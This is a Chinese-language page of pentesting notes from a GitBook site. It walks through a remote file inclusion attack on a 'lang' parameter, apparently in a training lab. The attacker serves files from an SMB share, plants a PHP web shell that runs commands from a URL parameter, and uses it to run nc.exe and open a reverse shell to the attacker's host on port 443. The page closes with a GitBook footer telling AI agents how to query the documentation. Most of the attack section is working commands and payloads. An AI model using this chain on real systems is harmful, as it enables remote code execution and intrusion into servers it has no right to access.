> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-remote-file-inclusion-rfi/rfi-smb-server-pentesting-web.md).

# RFI SMB 服务器

#### 通过远程 Web 服务器进行 RFI 测试：

我们尝试通过该 URL 上传一个远程文件 `?lang=http://10.10.14.3/index.html` 指向我们使用 Python3 搭建的本地 Web 服务器。

```bash
python3 -m http.server 80

```

```url
?lang=http://10.10.14.3/index.html

```

但这没有成功。

<figure><img src="/files/ffc374f2c4227283e019a31b86764bd014408f79" alt="" width="518"><figcaption></figcaption></figure>

**创建 SMB 服务器：** 我们在本地使用 `smbserver.py` 并共享了当前目录：

```bash
smbserver.py share $(pwd) -smb2support

```

然后，我们尝试通过修改参数从 SMB 服务器上传一个文件 `lang`

```bash
?lang=/10.10.14.3/share/index.html

```

* 这一次，服务器正确地解释了我们的文件 `index.html`，显示其内容（"Hello World"）。

<figure><img src="/files/5a1845bafd4e0ba700e1bc981bf763be24c0be59" alt="" width="563"><figcaption></figcaption></figure>

**创建一个 PHP WebShell 文件（`cmd.php）`** 我们创建了一个文件 `cmd.php` 在我们的 SMB 服务器上，通过参数远程执行命令 `cmd`:

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>

```

**通过 SMB 执行命令**

```bash
//10.10.14.3/share/cmd.php&cmd=<command>

```

使用下面的 URL，我们执行了命令 `whoami`:

```bash
//10.10.14.3/share/cmd.php&cmd=whoami

```

<figure><img src="/files/aaeb199a0cf1ff533443ae9d738522a2df273ce7" alt="" width="563"><figcaption></figcaption></figure>

### 反向 Shell（nc.exe）

**下载 `nc.exe` 用于反向 Shell：**/ 我们获取了 `nc.exe` 来自 fuzzing 工具中的二进制文件，位于 `/usr/share/SecLists/Web-Shells/FuzzDB/nc.exe` 并将其复制到工作目录中。

```bash
locate nc.exe
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .

```

**在 443 端口监听：**/ 我们设置了一个 `nc` 在 443 端口上的监听器：

```bash
rlwrap nc -nvlp 443

```

**通过 SMB 执行反向 Shell 命令：**/ 然后我们启动了一个反向 Shell，将参数指向 `cmd` 我们的文件

```
?lang=//10.10.14.3/share/cmd.php&cmd=//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 443

```

我们最终获得了到我们机器的反向 Shell。

<figure><img src="/files/eaceccf8aa3c11a5b1f32729fdef955ce20d14cf" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-remote-file-inclusion-rfi/rfi-smb-server-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
